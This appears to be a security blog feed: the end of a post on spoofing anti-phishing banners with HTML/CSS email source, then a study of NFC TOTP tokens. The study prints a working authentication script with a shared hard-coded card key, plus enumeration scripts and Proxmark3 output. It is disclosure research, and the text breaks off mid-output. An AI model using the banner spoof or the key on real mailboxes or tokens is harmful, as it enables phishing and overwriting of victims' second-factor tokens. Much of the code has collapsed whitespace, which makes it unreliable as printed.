<html><head><style type="text/css">div{display:none!important;}</style></head><body><spanstyle="display: inline; background-color:green; width:100%; border-style: solid; border-color:black; border-width:2pt; padding:2pt; font-size:10pt; line-height:12pt; font-family:'Calibri'; color:Black; text-align: left;"><spanstyle="color:#CC0000; font-weight:bold;">
Important:
</span>
This e-mail is validated and was sent from the managing director
</span>
Phishing mail content
</body></html>
This e-mail would hide the banner expected in a DIV and replace it by a banner which will increase the end user’s confidence in this e-mail.
The following e-mail in source code would then arrive in the inbox:
<html><head><style type="text/css">div{display:none!important;}</style><metacharset="UTF-8"/></head><body>
§r[ <divstyle="display: inline; background-color: #FFEB9C; width:100%; border-style: solid; border-color:#CC0000; border-width:2pt; padding:2pt; font-size:10pt; line-height:12pt; font-family:'Calibri'; color:Black; text-align: left;"><spanstyle="color:#CC0000; font-weight:bold;">
EXTERNAL:
</span>
This e-mail originates from outside the organization. Be careful when opening unrequested links and attachments.
</div>]r§
<spanstyle="display: inline; background-color:green; width:100%; border-style: solid; border-color:black; border-width:2pt; padding:2pt; font-size:10pt; line-height:12pt; font-family:'Calibri'; color:Black; text-align: left;"><spanstyle="color:#CC0000; font-weight:bold;">
Important:
</span>
This e-mail is validated and was sent from the managing director
</span><br/>
Phishing mail content
</body></html>
Due to the defined attack vector in the head, the mail is finally shown as follows:
The warning banner is hidden and the attacker’s banner is inserted
Prevention
Anti-phishing banners represent a risk because of the way in which e-mails are formatted in HTML. Although HTML ensures that e-mails look good, it also offers great scope for manipulation possibilities. The tests showed that Android One with the Gmail app ignores style declaration in the head, thus substantially reducing the possibilities of manipulations. Since this type of formatting is also used in normal e-mails, there is a danger here that the desired content will not be shown.
It is therefore preferable to always use plain text e-mails instead of HTML e-mails. It should be checked whether it is possible to automatically convert e-mails from HTML to text e-mails and to only allow the user the option of displaying them again in HTML.
It should also be mentioned that the preview in the current e-mail programs does not interpret CSS. This means that the banner text is displayed in the preview in the inbox – if the first 1-2 lines of the e-mail are shown. This is particularly noticeable with mobile devices.
Preview with an iPhone
Conclusion
The research project concluded that it is not advisable to use anti-phishing banners since they provide a false sense of security. Although these banners may protect the message recipients against poorly produced phishing e-mails, they provide an attacker with even better ways to conceal an attack, for example if he/she is specifically attacking a company.
On the Security of RFID-based TOTP Hardware Tokens2021-06-30T09:00:00+02:002021-10-07T11:30:35+02:00https://blog.syss.com/posts/security-of-totp-tokens/Matthias Deeg, Gerhard Klostermeier
Introduction
Time-based one-time passwords (TOTP) have been around for several years now and became more and more widespread as authentication factor in multi-factor authentication (MFA) methods. Protecting user accounts via two-factor authentication (2FA) using a static password and a TOTP is considered a good idea from a security standpoint and a best practice that can prevent different kinds...
Introduction
Time-based one-time passwords (TOTP) have been around for several years now and became more and more widespread as authentication factor in multi-factor authentication (MFA) methods. Protecting user accounts via two-factor authentication (2FA) using a static password and a TOTP is considered a good idea from a security standpoint and a best practice that can prevent different kinds of attacks.
For generating a one-time password, the algorithms described in RFC 4226 titled HOTP: An HMAC-Based One-Time Password Algorithm and RFC 6238 titled TOTP: Time-Based One-Time Password Algorithm are relevant.
A very popular TOTP generator is the mobile app Google Authenticator. And for implementing TOTPs in software products, a variety of software libraries is available for different programming languages.
The following TOTP example in Python uses the library PyOTP and illustrates all required configuration parameters for a TOTP:
a cryptographic hash function (digest function)
a shared secret key (seed value)
the length of the generated TOTP
the used time interval in seconds (time step between TOTPs)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/env python3
importhashlibimportpyotpimporttime# secret key (seed)
SECRET_KEY="base32topsecret7"# initialize the TOTP generator with a specific configuration
totp=pyotp.TOTP(SECRET_KEY,digest=hashlib.sha256,digits=6,interval=30)# generate three TOTPs with a time interval of 30 seconds
foriinrange(3):password=totp.now()print(password)time.sleep(30)
The following output exemplarily shows an output of this example with three sequently generated OTPs with a time interval of 30 seconds.
1
2
3
4
$ python totp_test.py
640660
808281
945719
Besides software-based TOTP generators like the mobile app Google Authenticator, there are also different kinds of hardware TOTP tokens.
During a research project, we had a closer look at two such RFID-based tokens which support near-field communication (NFC).
The NFC-based card OTPC-P2 is distributed by Token2, a Swiss company based in Geneva.
It is designed as a token for TOTP-based two-factor authentication. The form factor is identical to a typical
credit card. The features of the token are specified by the distributor Token2 as shown in the following screenshot of the corresponding product website.
The card will wipe the configured secret seed when the time (or other configuration parameters) is updated.
The PIN displayed on the e-Ink display cannot be read out via the NFC interface.
The following sections summarize the results of our case study concerning this NFC-based TOTP token.
They contain information about the general operation of the token, the journey of reverse
engineering some of its functionality, and identified security issues and interesting questions, which could not
be answered yet.
Normal operation
The two-factor token arrives in an unconfigured state. To configure a card, two software solutions are
provided by Token2: A Windows application and an Android app.
Using the provided software, the token can be configured via NFC. When the token is presented to e.g. an Android
phone running the NFC Burner 2 app, the serial number and the current time from the card is read out and displayed.
If needed, the first step is to edit the general configuration, as the illustrated in the following Figure.
Configuration view of the NFC burner 2 Android app
The second step is to burn the secret seed for the used TOTP HMAC algorithm onto the card, as shown in the following Figure.
Seed burning view of the NFC burner 2 Android app
Once the configuration and a seed value are set, the token can be used for TOTP-based two-factor authentication.
To get a valid PIN, the user must press the button in the lower right corner of the card. The PIN is then shown
on the e-Ink display of the tag. In contrast to the Protectimus card, the PIN cannot be read via the NFC interface.
This interface seems to be only for configuration purposes.
NFC interface
On the NFC interface, the token can be identified as a typical ISO14443-A tag. Additional information imply,
that the tag is a Java Card, which means, that ISO 7816-4 Application Protocol Data Units (APDUs) are used to
exchange data.
Example: APDU to query the time and serial number of the card
The following Table illustrates the structure of the APDU command.
Field name
Length (bytes)
Descripton
CLA
1
Instruction class - indicates the type of command, e.g. interindustry or proprietary
INS
1
Instruction code - indicates the specific command, e.g. write data
P1-P2
2
Instruction parameters for the command, e.g. offset into file at which to write the data
Lc
0, 1 or 3
Encodes the number (Nc) of bytes of command data to follow
- 0 bytes denotes Nc=0
- 1 byte with a value from 1 to 255 denotes Nc with the same length
- 3 bytes, the first of which must be 0, denotes Nc in the range 1 to 65535 (all three bytes may not be zero)
Data
Nc
Nc bytes of data
Le
0, 1, 2 or 3
Encodes the maximum number (Ne) of response bytes expected
- 0 bytes denotes Ne=0
- 1 byte in the range 1 to 255 denotes that value of Ne, or 0 denotes Ne=256
- 2 bytes (if extended Lc was present in the command) in the range 1 to 65 535 denotes Ne of that value, or two zero bytes denotes 65 536
- 3 bytes (if Lc was not present in the command), the first of which must be 0, denote Ne in the same way as two-byte Le
The next Table shows the structure of the APDU response.
Field name
Length (bytes)
Descripton
Response Data
Nr (at most Ne)
Response data
SW1-SW2
2
Command processing status, e.g. 0x9000 indicates sucess
Byte 0 of a double sized UID (cascade level 2, 7 bytes) should always contain a manufacturer code.
In the case of the Token2 OTPC-P2 token, this byte is set to 0x1D, which is the code for
Shanghai Fudan Microelectronics Group Company Ltd. from China. The UID is not random and can therefore be used
for tracking.
The following output illustrates the tag detection on the Proxmark3.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
[usb] pm3 --> hf search
Searching for ISO14443-A tag...
[+] UID: 1D 01 A8 01 58 34 78
[+] ATQA: 00 44
[+] SAK: 20 [1]
[+] MANUFACTURER: Shanghai Fudan Microelectronics Co. Ltd. P.R. China
[+] JCOP 31/41
[=] -------------------------- ATS --------------------------
[+] ATS: 05 72 F7 A6 02 [ 9d 00 ]
[=] 05............... TL length is 5 bytes
[=] 72............ T0 TA1 is present, TB1 is present, TC1 is present, FSCI is 2 (FSC = 32)
[=] F7......... TA1 different divisors are NOT supported, DR: [2, 4, 8], DS: [2, 4, 8]
[=] A6...... TB1 SFGI = 6 (SFGT = 262144/fc), FWI = 10 (FWT = 4194304/fc)
[=] 02... TC1 NAD is NOT supported, CID is supported
[#] Auth error
[+] Valid ISO14443-A tag found
The NFC interface of the token has two different states:
Restricted: If the button on the tag has not been pressed, the card can still be discovered by tools like the
Proxmark3. Android devices do not discover the card in that state, because
sending and receiving APDUs fails.
Activated: If the button is pressed, the tag gets activated. It will show a PIN on the e-Ink display and it
will respond to APDUs. If there is no NFC traffic, the card will go back to sleep after a short timeout. However,
if there is traffic and a field of an NFC reader, the card will stay active.
To better understand how e.g. the NFC Burner 2 Android app by Token2 communicates with the card, the initial
communication was sniffed using a Proxmark3. The sniffed data show three stages that are typical when sniffing
communication between a tag and an Android device.
Tag detection part 1: Android searches for tags in the reader’s field and performs the ISO 14443-3 initialization,
anti-collision, and selects one tag.
Tag detection part 2: Android searches for more information on the tag. For example, it tries to find out
if the application identifier (AID) 0xD2760000850101 – the identifier for the NDEF application
on MIFARE DESFire tags – is presently using APDU commands.
Communication by the app: The actual communication between the tag and the app that is handling the tag
(in this case NFC Burner 2 by Token2) takes place.
Sniffing the tag enumeration and the get serial number and time command with a Proxmark3 is demonstrated in the following output with the three stages annotated.
The output shows that the Android app sends a get serial number and time command to the token.
Part of the response, e.g. 0x38363539363231343635333831, is encoded as ASCII and can easily be decoded to
8659621465381 – the serial number of the token. The time is encoded as four byte UNIX timestamp in big endian.
Sniffing the communication between tag and app was often used in this analysis as a method of reverse engineering.
This was combined with analyzing the decompiled or disassembled code from the Android app, the Windows tool, or
one of their libraries.
Internal card layout
The process of delayering an RFID card can unveil interesting information about the used chip, antenna
design, or other important internals. This is typically achieved by putting the card into acetone. In most cases,
acetone will weaken or dissolve some of the cards plastic parts and used adhesives by leaving the chips and antenna unharmed.
Unfortunately, the Token2 OTPC-P2 card was pretty resistant to acetone. However, Philippe Teuwen,
a very well known security researcher, hacker, and RFID specialist, was kind enough to help out and take things further.
By removing the plastics with sandpaper and a blade, Philippe Teuwen was able to delayer the whole card and
get a closer look at its components.
Delayered card (image by Philippe Teuwen)
Delayered card (image by Philippe Teuwen)
There are several markings on the internal parts of the card, which provide more information about it.
Big chip: T27D0 1951, most likely the main controller with the firmware
Small chip: 04J0 1907, most likely a NFC controller
Battery: CF052039 770401 FDK, a 3V lithium battery by FDK
Markings on the PCB: T27-C04-T100L-V1.1 2019.06.10
The NFC controller on the card or the initial firmware is most likely built by Shanghai Fudan Microelectronics Group
Co., Ltd. The first byte of a seven or ten byte UID indicates the manufacturer. In the case of Token2 OTPC-P2 card,
this byte is 0x1D, which is associated with Fudan. The manufacturer is well known for RFID chips.
Authentication
An authentication is required to change the configuration of the token or to write a seed. The authentication
procedure was visible when the communication between a tag and the Android app was sniffed with a Proxmark3. This
observation could be confirmed by looking at the disassembled code of the Android app.
Decompiled authentication method of the NFC Burner 2 Android application
By diving deeper into the code and the sniffed communication, the authentication process was reconstructed as
follows:
Request a challenge from the tag using the APDU 804B080000.
Receive a challenge from the tag, e.g. F29E08B17821653E.
Expand the challenge to a 16 byte value by padding zeros: F29E08B17821653E0000000000000000.
Encrypt the challenge using the SM4 algorithm in ECB mode with a secret 16 byte long key.
Send back the encrypted challenge using the APDU: 80CE00001073EA53B7E7E77DD81AEE5BC106-9E053A.
The tags responds with 9000 indicating that the authentication was successful.
The whole part about encrypting the challenge with the SM4 cipher is not implemented in the Java- or Kotlin-based
code of the Android app. The native library libesotpcommon.so is used for this. The Android app ships
with different versions of this library, each for a specific platform. Fortunately, the 32 bit x86 library did
still include the function names and debug symbols, as the following output illustrates.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
> tree --charset=ascii lib
lib
|-- arm64-v8a
| `-- libesotpcommon.so
|-- armeabi
| `-- libesotpcommon.so
|-- armeabi-v7a
| `-- libesotpcommon.so
|-- x86
| `-- libesotpcommon.so
`-- x86_64
`-- libesotpcommon.so
> file lib/x86/libesotpcommon.so
lib/x86/libesotpcommon.so: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, BuildID[sha1]=e35a887407b6adc3ba0e05298c006b1a9572e1c8, with debug_info, not stripped
However, the most interesting ingredient of the authentication is the key that is used to encrypt the challenge.
It turned out that this key is hard-coded into the app, as the following Figure illustrates.
Decompiled class of the NFC Burner 2 Android application with static constants, e.g. the key for encrypting the challenge (DEFAULT_CUSTOMER_KEY)
Although the name DEFAULT_CUSTOMER_KEY implies that the key might be changeable, no such functionality
was found.
We developed a small Python script which allows to perform an authentication using a cheap USB RFID reader like the ACR 122u.
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#
# Copyright 2021 Gerhard Klostermeier (@iiiikarus)
#
# Get the challenge, calculate the response and send it back, performing a full authentication.
# Usage: ./do-authentication.py [key]
# Some info on sending APDUs with nfcpy:
# https://nfcpy.readthedocs.io/en/latest/modules/tag.html#nfc.tag.tt4.Type4Tag.send_apdu
fromsm4importSM4Keyfromnfc.clfimportContactlessFrontendfromnfc.tag.tt4importType4TagCommandErrorfrombinasciiimporthexlify,unhexlifydefmain(args):# Connect to reader.
clf=ContactlessFrontend("usb")tag=clf.connect(rdwr={'on-connect':lambdatag:False})# Get challenge.
print("[*] Requesting challenge from tag")cla=0x80ins=0x4bp1=0x08p2=0x00data=unhexlify("00")try:challenge=tag.send_apdu(cla,ins,p1,p2,data,check_status=True)exceptType4TagCommandErrorasex:print(f"[-] Error: No response from tag")return1challenge=bytes(challenge)print(f"[+] Got challenge {hexlify(challenge).upper()}")# Challenge.
print("[*] Inflating challenge")challenge=challenge+b'\x00'*8print(f"[*] Challenge is now: {hexlify(challenge).upper()}")# Key.
key="8AD206883CA369482AB27182B6E83224"if (len(args)>1):key=args[1]key_raw=unhexlify(key)key_sm4=SM4Key(key_raw)print(f"[*] Using key: {hexlify(key_raw).upper()}")# Encrypt challenge (SM4).
print("[*] Encrypting challenge with key using SM4")response_raw=key_sm4.encrypt(challenge)print(f"[+] Response is: {hexlify(response_raw).upper()}")# Send response.
print("[*] Sending response to tag")cla=0x80ins=0xcep1=0x00p2=0x00data=response_rawauth=tag.send_apdu(cla,ins,p1,p2,data,check_status=False)auth=bytes(auth)print(f"[*] Got authentication response: {hexlify(auth).upper()}")ifauth==b'\x90\x00':print(f"[+] Authentication was successfull!")else:print(f"[-] Authentication was not successfull!")clf.close()return0if__name__=='__main__':importsyssys.exit(main(sys.argv))
By evaluating the authentication it became clear, that for each wrong authentication a counter is decreased.
After five failed authentication attempts, the authentication method is blocked and it is not longer possible to execute any command
that requires authentication.
Another interesting observation was made about the random number generator of the card. Details can be found in
section Bad RNG.
Bad RNG
The OTPC-P2 token has an internal random number generator (RNG). For most security related applications, a random number
generator must generate true random numbers and not pseudorandom numbers.
One use case where the RNG of the card is used is when an NFC reader asks the token for a challenge in order to
authenticate (see Section Authentication). To evaluate the quality of the RNG, a simple Python script was
developed which asks the token for a large number of challenges.
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#
# Copyright 2020 Gerhard Klostermeier (@iiiikarus)
#
# Get challenges to verify the RNG of the tag.
# Usage: ./collect-challenges.py [challenge count] [retry count]
# Some info on sending APDUs with nfcpy:
# https://nfcpy.readthedocs.io/en/latest/modules/tag.html#nfc.tag.tt4.Type4Tag.send_apdu
fromsm4importSM4Keyfromnfc.clfimportContactlessFrontend,TransmissionError,TimeoutErrorfromnfc.tag.tt4importType4TagCommandErrorfrombinasciiimporthexlify,unhexlifydefmain(args):# Default values.
challenge_count=10max_retry=3# Connect to reader.
clf=ContactlessFrontend("usb")tag=clf.connect(rdwr={'on-connect':lambdatag:False})# Get challenge count.
if (len(args)>1):challenge_count=int(args[1])# Get retry count.
if (len(args)>2):max_retry=int(args[2])# Get challenge.
print("[*] Requesting challenges from tag")cla=0x80ins=0x4bp1=0x08p2=0x00data=unhexlify("00")retry_counter=0forchallenge_nrinrange(0,challenge_count):try:challenge=tag.send_apdu(cla,ins,p1,p2,data,check_status=True)except (Type4TagCommandError,TransmissionError,TimeoutError)asex:print(f"[-] Error: {ex}. Reconnecting...")retry_counter+=1tag=clf.connect(rdwr={'on-connect':lambdatag:False})ifretry_counter>=max_retry:print("[-] Too many errors. Abort!")return1continuechallenge=bytes(challenge)print(f"[+] Challenge {challenge_nr}: {hexlify(challenge).upper()}")clf.close()return0if__name__=='__main__':importsyssys.exit(main(sys.argv))
Over eight megabytes of random data was collected this way. The data was collected in chunks of eight bytes, since
a challenge from the token consists of eight bytes. A histogram visualization (that shows which byte is present how many times)
quickly revealed that there are issues with the used RNG, as the following Figure illustrates.
Histogram of the random data collected by requesting challenges from the token
Upon further inspection it became clear, that it is the first byte of the eight byte challenge, which introduces
the bad randomness. This is clearly visible when the histogram of only byte number 1 is compared with the histogram of bytes number 2 to 8,
as the following Figures illustrate.
Histogram of byte number 1 of all collected challenges
Histogram of byte number 2 to byte number 8 of all collected challenges
Inspecting the first byte of each challenge at bit level, the RNG error was narrowed down to two bits (bit
number 5 and bit number 7) which do not have a 50:50 chance of being 1 or 0:
bit 1: 0:50 %, 1:50 %
bit 2: 0:50 %, 1:50 %
bit 3: 0:50 %, 1:50 %
bit 4: 0:50 %, 1:50 %
bit 5: 0:66 %, 1:33 %
bit 6: 0:50 %, 1:50 %
bit 7: 0:66 %, 1:33 %
bit 8: 0:50 %, 1:50 %
This reduces the 256 bit of entropy of a eight byte challenge to 254 bit of good entropy. This is likely still
enough entropy for the authentication to be sufficiently secure. It is unclear, if the bad RNG can be exploited in other attack scenarios.
Known and unknown commands
A Java Card like the OTPC-P2 by Token2 can have lots of different APDUs. Although there is only one byte in an
APDU that is declaring the instruction (INS), there could be many different contexts and parameters for one
command. Even more commands or custom protocols can be designed within the data/payload field of an APDU.
It is close to impossible to enumerate all commands/payloads of an ISO 7816-4 tag. There is virtually an endless
number of possibilities and the protocol or the RFID tags are not fast enough. Furthermore, ISO 7816 tags can
have more than one application, with each application having its own APDUs and data format.
The OTPC-P2 seem to only use one application: 0xB00000000023. This was reconstructed from sniffing the
communication between OTPC-P2 tags and the NFC Burner 2 Android app with a Proxmark3. Similar to enumerating all
known APDUs/payloads, enumerating all applications on a Java Card is not feasible.
In an attempt to find applications that might have an application identifier (AID) close to the known application,
a Python script was developed. This script just enumerates AIDs over a given range. However, no other
valid AID was found.
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#
# Copyright 2020 Gerhard Klostermeier (@iiiikarus)
#
# Search for files/AIDs using the select command.
# Usage: ./find-files.py [file id start] [file id stop] [retry count]
# Some info on sending APDUs with nfcpy:
# https://nfcpy.readthedocs.io/en/latest/modules/tag.html#nfc.tag.tt4.Type4Tag.send_apdu
fromnfc.clfimportContactlessFrontend,TransmissionError,TimeoutErrorfromnfc.tag.tt4importType4TagCommandErrorfrombinasciiimporthexlify,unhexlifydefmain(args):# Default values.
file_id_start=0xb00000000023file_id_stop=0xffffffffffffmax_reconnect=50# Connect to reader.
clf=ContactlessFrontend("usb")tag=clf.connect(rdwr={'on-connect':lambdatag:False})# Get file ID range.
if (len(args)>1):file_id_start=int(args[1])if (len(args)>2):file_id_stop=int(args[2])# Get max. reconnect count.
if (len(args)>3):max_reconnect=int(args[3])# Test file/AIDs.
print("[*] Testing for files/AIDs")cla=0x00ins=0xa4p1=0x04p2=0x00reconnect_counter=0forfile_nrinrange(file_id_start,file_id_stop):data=file_nr.to_bytes((file_nr.bit_length()+7)//8,'big')#print(f"[*] Sending data {hexlify(data).upper()}") # Print verbose.
try:response=tag.send_apdu(cla,ins,p1,p2,data,check_status=True)except (Type4TagCommandError,TransmissionError,TimeoutError)asex:#print(f"[-] Error: {ex}") # Print verbose.
iftype(ex)!=Type4TagCommandErrororstr(ex)=="unrecoverable timeout error":print(f"[-] Error during command {hexlify(data).upper()}: {ex}. Reconnecting...")reconnect_counter+=1tag=clf.connect(rdwr={'on-connect':lambdatag:False})ifreconnect_counter>=max_reconnect:print("[-] Too many errors. Abort!")return1continueresponse=bytes(response)print(f"[+] Got response for data {hexlify(data).upper()}: {hexlify(response).upper()}")clf.close()return0if__name__=='__main__':importsyssys.exit(main(sys.argv))
Although it is close to impossible to find all valid APDUs, the next step was to find at least some of them.
A possibly complex tag like the OTPC-P2 is likely to have more commands than the known commands used by the customer
software. To search for APDUs of the type case 1 or case 2 (short), the client software of the
Proxmark3 was extended by the command hf 14a apdufind. The maintainers of the advanced Proxmark3 repository
were kind enough to merge the changes.
[usb] pm3 --> hf 14a apdufind -h
Enumerate APDU's of ISO7816 protocol to find valid CLS/INS/P1/P2 commands.
It loops all 256 possible values for each byte.
The loop oder is INS -> P1/P2 (alternating) -> CLA.
Tag must be on antenna before running.
usage:
hf 14a apdufind [-hlv] [-c <hex>] [-i <hex>] [--p1 <hex>] [--p2 <hex>] [-r <number>] [-e <number>] [-s <hex>]...
options:
-h, --help This help
-c, --cla <hex> Start value of CLASS (1 hex byte)
-i, --ins <hex> Start value of INSTRUCTION (1 hex byte)
--p1 <hex> Start value of P1 (1 hex byte)
--p2 <hex> Start value of P2 (1 hex byte)
-r, --reset <number> Minimum seconds before resetting the tag (to prevent timeout issues). Default is 5 minutes
-e, --error-limit <number> Maximum times an status word other than 0x9000 or 0x6D00 is shown. Default is 512.
-s, --skip-ins <hex> Do not test an instructions (can be specified multiple times)
-l, --with-le Search for APDUs with Le=0 (case 2S) as well
-v, --verbose Verbose output
examples/notes:
hf 14a apdufind
hf 14a apdufind --cla 80
hf 14a apdufind --cla 80 --error-limit 20 --skip-ins a4 --skip-ins b0 --with-le
From sniffing the RFID traffic and from reverse engineering the client software for the OTPC-P2 token, the following
commands (INS of APDU) were known:
0x41: Request data like the current time and serial number.
0xA4: Select an application or file. Only AID 0xB00000000023 seem to be used.
0x4B: Get a challenge for the authentication procedure.
0xCE: Authenticate. This must be done before configuration changes or burning a seed. The
encrypted challenge must be sent for the authentication to be successful (see Section Authentication).
0xD4: Write/burn a configuration.
0xC5: Write/burn a seed.
0xC7: SealCard. This command was never used by the Android app and was recovered from
the library SeedFlash.dll of the Windows application. It remains unsure, what exactly this command is
used for.
With the apdufind command of the Proxmark3 some more commands/APDUs were detected. The unknown commands/APDUs
are as follows:
0x808D000000: Unknown authentication mechanism. Using the authentication procedure and key from
Section Authentication was not successful. It is limited to three attempts.
0x8040000000: Unknown command. The response is just the status word 0x9000, indicating success.
Some known commands were tested with different payloads. One of them, the get time and serial number command
(0x41) showed an interesting behavior, where the data specify which values are queried. As the following
figures show, 0x02 seems to be the current time and 0x11 the serial number. Other valid values
were not found.
Original get time and serial number command
Modified data in get time and serial number command returning the serial number twice
Modified data in get time and serial number command returning the current time twice
It is likely that there are more unknown applications, instructions, or APDU structures and payloads. Within this
research, it did not become clear what the unknown commands are used for or what they exactly do. The unknown
authentication could be debug access or a backdoor for the reseller or manufacturer (Token2).
Denial of service
A denial of service attack (DoS) aims to make a device or software unusable for its designed purpose. The observations
of the authentication procedure (see Section Authentication) showed that a trivial attack vector for DoS is present:
Everyone can change the card’s secret or configuration with the provided mobile application. This is because
all cards use the same key for authentication. If someone overwrites the key or configuration, the token will
no longer produce valid PINs, resulting in a denial of service state. Admittedly, this attack needs close
physical proximity to an activated card. Furthermore, the card can be reinitialized with the correct data so that it
will work again.
Another simple and partial DoS state is when the authentication failed five times in a row. After this, the
card locks the authentication method, making changes to the card’s configuration impossible.
By accident, we were able to produce another DoS state for a card. After sending some random test APDUs to the
token, it did not respond anymore. Even the display was no longer cleared. This state was permanent and the card
was completely unusable afterwards – in other words bricked. However, reproducing this state on a second card was
not successful. It could be that not only the sent data was responsible for entering this state, but also a sudden
cut-off of the reader field at a specific point in time (tear-off attack).
e-Ink display issues
The Token2 OTPC-P2 card shows the current valid PIN on an e-Ink display after the button is pressed. Depending on
the card’s configuration, the PIN is valid for either 30 or 60 seconds. The display can be configured
to stay on for either 15, 30, 60 or 120 seconds.
To turn the i-Ink display off, the shown values must be reset. The card does this by coloring the
full display to black and than back to white. After that, the PIN should no longer be visible. However, this
is not the case. There seems to be a burn in effect on the display, that slightly shows the last PIN,
even after the display was cleared (see the following Figures).
This could be a security issue in case the card is configured to PINs being valid for 60 seconds and a display
sleep time of e.g. 15 seconds. In that case, the valid PIN should only be visible for 15 seconds. However,
an attacker might get a glimpse at the display shortly after and use the slightly visible and still valid PIN.
Activated OTPC-P2 token
Deactivated OTPC-P2 token with the last PIN still slightly visible
The Protectimus card (see Section Case Study II: Protectimus SLIM NFC) is not affected by this issue. This might be because
the token uses another e-Ink display or because it clears the display twice.
Instructions for destroying a card
On the backside of the Token2 OTPC-P2 card, there are instructions on how to cut the card in order to safely destroy it.
Instructions for destroying the card printed on the backside
However, when shining bright light through a card (see following Figure), it is visible that
the horizontal cut will damage the Lithium battery. Destroying the battery will render the card unusable, because the
real time clock (RTC) for the TOTP authentication would go out of sync. Cutting batteries, however, is considered
dangerous. The manufacturer seems to know this, because there is also a warning label on the card saying
Caution! Contains Lithium battery. The vertical cut does not destroy anything.
Internal components visible by shining bright light through the card (image by Philippe Teuwen)
It is unclear why the instructions are printed in this way. If the horizontal cut would be a bit higher, it would
not destroy the battery. In that case, however, the battery would still be connected to the unharmed chips. An
attacker could just reconnect the antenna and display and the card should work again with the previously stored
secret still intact.
The most effective way would be to cut the chip containing the seed for the TOTP authentication. In this way,
the battery would not be harmed and the secret seed would be very hard or impossible to recover.
Interesting data and unanswered questions
At the point of writing this case study, a lot of effort has gone into understanding how this card works. Although some
interesting findings and security relevant observations were made, there are still a lot of open questions.
Some strange practices by the manufacturer or hints in applications raise even more questions.
The following list sums up some of the more interesting hints and open questions we had no time to further investigate yet.
The Token2 OTPC-P2 uses the same \enquote{customer key} for authentication on all cards. Are there
other customer keys for similar products? At least one other key was found in the Windows application distributed by Token2.
Also, can the customer key be changed by a user?
What else can the card do? There are hidden commands – one is another authentication – but for which purpose?
How can the permanent denial of service sate (see Section Denial of service) be reproduced? What is causing it?
The Windows application by Token2 has a test function to verify whether a card produces valid PINs after programming
a seed. However, this test function just opens an OTP test website and sends the secret seed to it.
This is considered a very bad practice, because the secret is therefore published to an untrusted website.
Even if no button is pressed, the card responds to some commands. For example, the full ISO 14443
discovery process is supported (anti-collision, retrieving the UID, etc.), but the token does not respond to
APDUs. Are there any other undocumented commands that might work at that stage?
Is it possible to read out the current PIN via NFC? So far, neither the Android nor the Windows application
have a function for that. Is there an undocumented function?
Is there a way to change the time of the internal real-time clock (RTC) of the token without losing the configured secret seed? This has been possible in the previous generation of this token, maybe there is still some legacy code in the firmware.
Case Study II: Protectimus SLIM NFC
In our second case study, we analyzed the programmable hardware TOTP token Protectimus SLIM NFC shown in in the following Figure.
Protectimus SLIM NFC hardware TOTP token
This hardware token is designed for the use with two-factor authentication methods and can be programmed via NFC using an Android app. Its product description is shown in the following Figure.
Protectimus SLIM NFC hardware TOTP token
Normal operation
Before the TOTP token can be used, it has to be configured via the PROTECTIMUS TOTP BURNER app for Android. This can either be done by scanning a corresponding QR code or by manually entering the required configuration parameters consisting of the OTP length (6 or 8 digits), the OTP time interval (30 or 60 seconds), and the seed (Base32-encoded secret), as the following Figure illustrates.
Programming options of PROTECTIMUS TOTP BURNER app and configuration parameters
Once a configuration is set, the token can be used for TOTP-based two-factor authentication. To get a valid PIN, the user must press the button in the lower right corner of the card. The current one-time password is then shown on the e-Ink display of the tag. Via NFC, it is also possible to read the OTP, as the followFigure with the corresponding Android app shows.
Reading the current one-time password via NFC
Protectimus NFC interface
The Protectimus SLIM NFC token can be identified as a typical ISO14443-A tag manufactured by the Austriamicrosystems AG, as the following Proxmark3 output shows.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
[usb] pm3 --> hf search
🕕 Searching for ISO14443-A tag...
[+] UID: 3F 10 00 03 23 38 0C
[+] ATQA: 00 44
[+] SAK: 20 [1]
[+] MANUFACTURER: Austriamicrosystems AG (reserved) Austria
[+] JCOP 31/41
[=] -------------------------- ATS --------------------------
[+] ATS: 05 72 00 B0 02 [ 5c 00 ]
[=] 05............... TL length is 5 bytes
[=] 72............ T0 TA1 is present, TB1 is present, TC1 is present, FSCI is 2 (FSC = 32)
[=] 00......... TA1 different divisors are supported, DR: [], DS: []
[=] B0...... TB1 SFGI = 0 (SFGT = (not needed) 0/fc), FWI = 11 (FWT = 8388608/fc)
[=] 02... TC1 NAD is NOT supported, CID is supported
[+] Valid ISO14443-A tag found
In order to understand the near-field communication between the hardware token and the PROTECTIMUS TOTP BURNER app, the communication was sniffed using a Proxmark3. Furthermore, the Android app was analyzed using static code analysis of the decompiled code.
The following Figure exemplarily shows an excerpt of decompiled app code containing the two methods burnSeed and burnTime, which obviously play a crucial role, as the cryptographic secret, also called seed, and the time are the two important parameters for generating a time-based one-time password.
Example of decompiled app code
The interesting code parts of the app were obfuscated via ProGuard. The name ftsafe within the code base suggested that the technology used is actually manufactured by FEITAN, a manufacturer that also offers this kind of OTP display cards.
The following Figureexemplarily shows an excerpt of the obfuscated ftsafe package.
Obfuscated code of ftsafe package
Based on our static code analysis and the sniffed NFC, a Lua script for Proxmark3 was developed for using different implemented functionalities of the Protectimus SLIM NFC token.
The next Figure shows the general packet format used by the NFC based on our analysis.
Protectimus SLIM NFC packet format
Besides the CRC-16 checksum related to ISO14443-A, there is also a one-byte XOR checksum for the data bytes.
The following two Figures exemplarily show two actual packets for reading general token information and reading the current OTP.
Read token info packet
Read OTP packet
The following Proxmark3 output exemplarily shows how token information can be read via our developed Lua script.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
[usb] pm3 --> script run hf_14a_protectimus_nfc -i
[+] executing lua /home/matt/research/proxmark3/client/luascripts/hf_14a_protectimus_nfc.lua
[+] args '-i'
Proxmark3 Protectimus SLIM NFC Script v0.8 by Matthias Deeg - SySS GmbH
Perform different operations on a Protectimus SLIM NFC hardware token
[+] Found token with UID 3F10000323380C
[+] Try to read token info
[+] Token info
Hardware schema: 70
Firmware version: 10.10
Hardware RTC: true
OTP interval: 30
[+] finished hf_14a_protectimus_nfc
And this Proxmark3 output illustrates reading the current one-time password of a Protectimus SLIM NFC token using a Proxmark3.
1
2
3
4
5
6
7
8
9
10
